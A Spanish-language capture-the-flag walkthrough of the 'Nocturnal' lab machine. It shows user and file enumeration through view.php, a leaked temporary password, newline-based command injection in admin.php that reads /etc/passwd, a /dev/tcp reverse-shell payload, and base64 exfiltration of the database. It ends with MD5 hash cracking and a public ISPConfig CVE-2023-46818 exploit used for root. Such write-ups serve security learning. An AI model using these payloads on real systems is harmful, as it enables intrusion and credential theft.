Máquinas/CTF

Máquina resuelta


1. Escaneo de puertos tcp

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

2. Enumeración de usuarios

Una vez añadido el dominio nocturnal.htbal fichero /etc/hosts, y accedemos y nos registramos en el recurso web http://nocturnal.htb/dashborad.php, observamos como en el endpoint /dashboard.php existe un formulario para subir archivos. Si intentamos subir un archivo con extensión .php, observamos el siguiente mensaje de error:

Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.

Sin embargo, si subimos un archivo válido, podemos descargarlo directamente desde el dashboard del propio usuario. Para dicha descarga la aplicación hace una petición al endpoint /view.php?username=test1&file=test.pdf. Por lo que viendo esto, se nos puede ocurrir intentar realizar una enumeración de usuarios válidos y sus archivos.

Utilizando el módulo de automate del proxy Caido, y utilizando para ello el wordlist de Xato, observamos que para los usuarios que no existen en el sistema se obtiene el mensaje User not found, por lo que tendremos que filtrar por dicho mensaje. Vemos entonces que existen los siguientes usuarios: test1, tester, amanda, admin, tobias.

 

3. Enumeración de archivos

Ahora que tenemos los posibles lo usuarios, tenemos que intentar obtener los archivos de dichos usuarios. Si enviamos una petición con un nombre de usuario válido, pero con un archivo no existente, por ejemplo al endpoint /view.php?username=test1&file=test2.pdf, obtenemos el siguiente contenido en la respuesta, en el que se pueden ver todos los archivos de dicho usuario:

<div class="container">
    <h1>File Viewer</h1>

    <div class='error'>File does not exist.</div>
    <h2>Available files for download:</h2>
    <ul>
        <li><a href="view.php?username=test1&file=dummy.pdf">dummy.pdf</a></li>
        <li><a href="view.php?username=test1&file=test.pdf">test.pdf</a></li>
    </ul>
</div>

Por lo que si listamos los archivos de cada usuario, vemos que para el usuario amanda encontramos la siguiente respuesta:

<div class="container">
    <h1>File Viewer</h1>

    <div class='error'>File does not exist.</div>
    <h2>Available files for download:</h2>
    <ul>
        <li><a href="view.php?username=amanda&file=privacy.odt">privacy.odt</a></li>
    </ul>
</div>

Descargamos entonces dicho archivo (privacy.odt), mediante una petición get al recurso http://nocturnal.htb/view.php?username=amanda&file=privacy.odt. En dicha carpeta descargada, podemos ver un archivo llamado content.xml, el cual incluye el siguiente contenido:

<text:p text:style-name="P1">
    Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
</text:p>

Probamos entonces acceder al panel web con las credenciales amanda - arHkG7HAI68X8s1J, y observamos como conseguimos acceso.

 

4. Explotación

En el dashboard vemos un link que nos lleva al panel de administración http://nocturnal.htb/admin.php. En él vemos un formulario en el que podemos crear un nuevo backup, y establecer una contraseña para crearlo. Dicha creación de backup, se crea mediante la siguiente petición:

POST /admin.php HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://nocturnal.htb
Connection: keep-alive
Referer: http://nocturnal.htb/admin.php
Cookie: PHPSESSID=1r3fovr9ssi2gof5jv9l1nbdm0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=&backup=

Si imaginamos que por detrás se está ejecutando un comando bash para la creación de un backup, podemos intentar explotar un RCE. Para ello probamos varios payloads hasta que descubrimos que con un salto de línea al principio podemos llegar a ejecutar comandos. Por lo que intentamos obtener, por ejemplo, el archivo /etc/passwd, ejecutando la siguiente petición:

POST /admin.php HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://nocturnal.htb
Connection: keep-alive
Referer: http://nocturnal.htb/admin.php
Cookie: PHPSESSID=1r3fovr9ssi2gof5jv9l1nbdm0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=%0abash%09-c%09%22cat%09%2fetc%2fpasswd%22%0a&backup=

Y obteniendo la siguiente respuesta:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
tobias:x:1000:1000:tobias:/home/tobias:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
ispapps:x:1001:1002::/var/www/apps:/bin/sh
ispconfig:x:1002:1003::/usr/local/ispconfig:/bin/sh
smmta:x:115:120:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin
smmsp:x:116:121:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false

Si intentamos entones lanzar una revershell, mediante el payload: password=%0abash%09-c%09"/bin/bash%09-i%09>&%09/dev/tcp/10.10.14.38/1234%090>&1"%0a&backup=Create+Backup. Obtenemos la siguiente respuesta:

<h3>Output:</h3>
    <pre>sh: 2: backups/backup_2025-05-11.zip: Permisbash: cannot set terminal process group (883): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@nocturnal:~/nocturnal.htb$ exit
    bash: -c: option requires an argument
    </pre>

Navegando entonces por el sistema, vemos que existe una .db de la aplicación. Para obtenerla la decodificamos en base64 y la obtenemos mediante la siguiente petición:

POST /admin.php HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://nocturnal.htb
Connection: keep-alive
Referer: http://nocturnal.htb/admin.php
Cookie: PHPSESSID=1r3fovr9ssi2gof5jv9l1nbdm0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=%0Abash%09-c%09"base64%09/var/www/nocturnal_database/nocturnal_database.db"%0A&backup=Create+Backup

Obtenemos entonces la siguiente cadena de caracteres en base64:

U1FMaXRlIGZvcm1hdCAzB1QCgEgUIBSC4/2Q0P+EDeYDzUPzQ7jDeYgXoEBxcbGwGDS3RhYmxldXBsb2Fkc3VwbG9hZHMFQ1JFQVRFIFRBQkxFIHVwbG9hZHMgKICAgIGlkIElOVEVHRVIgUFJJTUFSWSBLRVkgQVVUT0lOQ1JFTUVOVCwgICA
gdXNlcl9pZCBJTlRFR0VSIE5PVCBOVUxMLCAgICBmaWxlX25hbWUgVEVYVCBOT1QgTlVMTCAgICB1cGxvYWRfdGltZSBEQVRFVElNRSBERUZBVV0gQ1VSUkVOVF9USU1FU1RBTVAsICAgIEZPUkVJR04gS0VZdXNlcl9pZCkgUkVGRVJFTkNFU
yB1c2VycyhpZCkpVDBhcrKwFZdfGFibGVzcWxpdGVfc2VxdWVuY2VzcWxpdGVfc2VxdWVuY2VFQ1JFQVRFIFRBQkxFIHNxbGl0ZV9zZXF1ZW5jZShuYW1lLHNlcSmBFHFxcxYIJdGFibGV1c2Vyc3VzZXJzAkNSRUFURSBUQUJMRSB1c2VycyA
oICAgIGlkIElOVEVHRVIgUFJJTUFSWSBLRVkgQVVUT0lOQ1JFTUVOVCwgICAgdXNlcm5hbWUgVEVYVCBOT1QgTlVMTFVOSVFVRSwgICAgcGFzc3dvcmQgVEVYVCBOT1QgTlVMTKkBhF9EaW5kZXhzcWxpdGVfYXV0b2luZGV4X3VzZXJzXzF1c
2VycwMI3D9UPqQ9D1MPK7+U1zZWJhMTE2NWIwNWZmMzQxMjYyOTZlNGMzYWFiMTUwZmZkY2IpF01lMEFsNTEwMWFkNDU0M2E5NmE3ZmQ4NDkwOGZkMGQ4MDJlN2RiKVNa2F2aWYzOGNkZTE2NTRiMzlmZWEyYmQ0ZjcyZjFhZTRjZGRhKhlNdG
9iaWFzNTVjODJiMWNjZDU1YWIyMTliM2IxMDliMDdkNTA2MWQqGU1hbWFuZGFkZjhiMjBhYTBjOTM1MDIzZjk5ZWE1ODM1OGZiNjNjNClXTWFkbWluZDcyNWFlYmExNDNmNTc1NzM2YjA3ZTA0NWQ4Y2VlYmIKg/F3D+wPzg/YD8UP4QzZWJhF
lMEFsNa2F2aVdG9iaWFzhamFuZGFkWFkbWluDIP6P9Q/oLBsCAxsBdXBsb2FkcwQJQMZXJzC9oD9oJQFwcml2YWN5Lm9kdDIwMjQtMTAtMTggMDI6MDU6NTM=

Si lo decodificamos en base64 observamos, entre todos los caracteres, lo siguiente:

Mkavif38cde1654b39fea2bd4f72f1ae4cdda
Mtobias55c82b1ccd55ab219b3b109b07d5061d
Mamandadf8b20aa0c935023f99ea58358fb63c4
Madmind725aeb8143f575736b07e045bd8ceeb

Lo cual pueden ser uno hashes de las contraseñas de los usuarios. Si los acortamos y quitamos la parte de M + nombreUsuario, con hash-identifier observamos de que se tratan de hashes md5. Con hashcat intentamos crackearlos:

# hashcat -m0  hashes.txt /usr/share/wordlists/rockyou.txt

Obteniendo lo siguiente para el usuario tobias:

55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse

Damos entonces accedido al sistema por SSH, con dichos credenciales, y somos capaces de obtener la flag de usuario.

 

5. Escalado

Una vez dentro, wsi listamos los puertos abiertos con # ss -lntu, observamos la siguiente salida:

Netid           State             Recv-Q            Send-Q                       Local Address:Port                        Peer Address:Port           Process           
udp             UNCONN            0                 0                            127.0.0.53%lo:53                               0.0.0.0:*                                
tcp             LISTEN            0                 70                               127.0.0.1:33060                            0.0.0.0:*                                
tcp             LISTEN            0                 151                              127.0.0.1:3306                             0.0.0.0:*                                
tcp             LISTEN            0                 10                               127.0.0.1:587                              0.0.0.0:*                                
tcp             LISTEN            0                 4096                             127.0.0.1:8080                             0.0.0.0:*                                
tcp             LISTEN            0                 511                                0.0.0.0:80                               0.0.0.0:*                                
tcp             LISTEN            0                 4096                         127.0.0.53%lo:53                               0.0.0.0:*                                
tcp             LISTEN            0                 128                                0.0.0.0:22                               0.0.0.0:*                                
tcp             LISTEN            0                 10                               127.0.0.1:25                               0.0.0.0:*                                
tcp             LISTEN            0                 128                                   [::]:22                                  [::]:*   

Observamos que en el puerto 8080, hay un servicio expuesto, el cual lo forwardeamos con SSH:

# ssh -L 1234:127.0.0.1:8080 tobias@10.10.11.64

Si accedemos a dicho servicio, vemos un panel de administración de un servicio llamado ispconfig. Probamos varios usuarios, y vemos que podemos acceder con el usuario admin y la misma contraseña que para el usuario tobias, es decir, con las credenciales admin:slowmotionapocalypse.

En dicho panel web, podemos ver como ISPConfig utiliza la versión ISPConfig 3.2.10p1. Buscando alguna vulnerabilidad que afecte a dicha versión encontramos el CVE-2023-46818, sobre el cual existe el siguiente exploit (https://github.com/bipbopbup/CVE-2023-46818-python-exploit), el cual es capaz de ejecutar código a través de una inyección PHP. Para ejecutarlo realizamos:

# git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit

Y ejecutamos:

# python exploit.py http://localhost:1234 admin slowmotionapocalypse

Observamos que se nos crea una shell con el usuario root, por lo que somos capaces de obtener la flag de root:

# python exploit.py http://localhost:1234 admin slowmotionapocalypse     
[+] Target URL: http://localhost:1234/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell

ispconfig-shell# whoami
root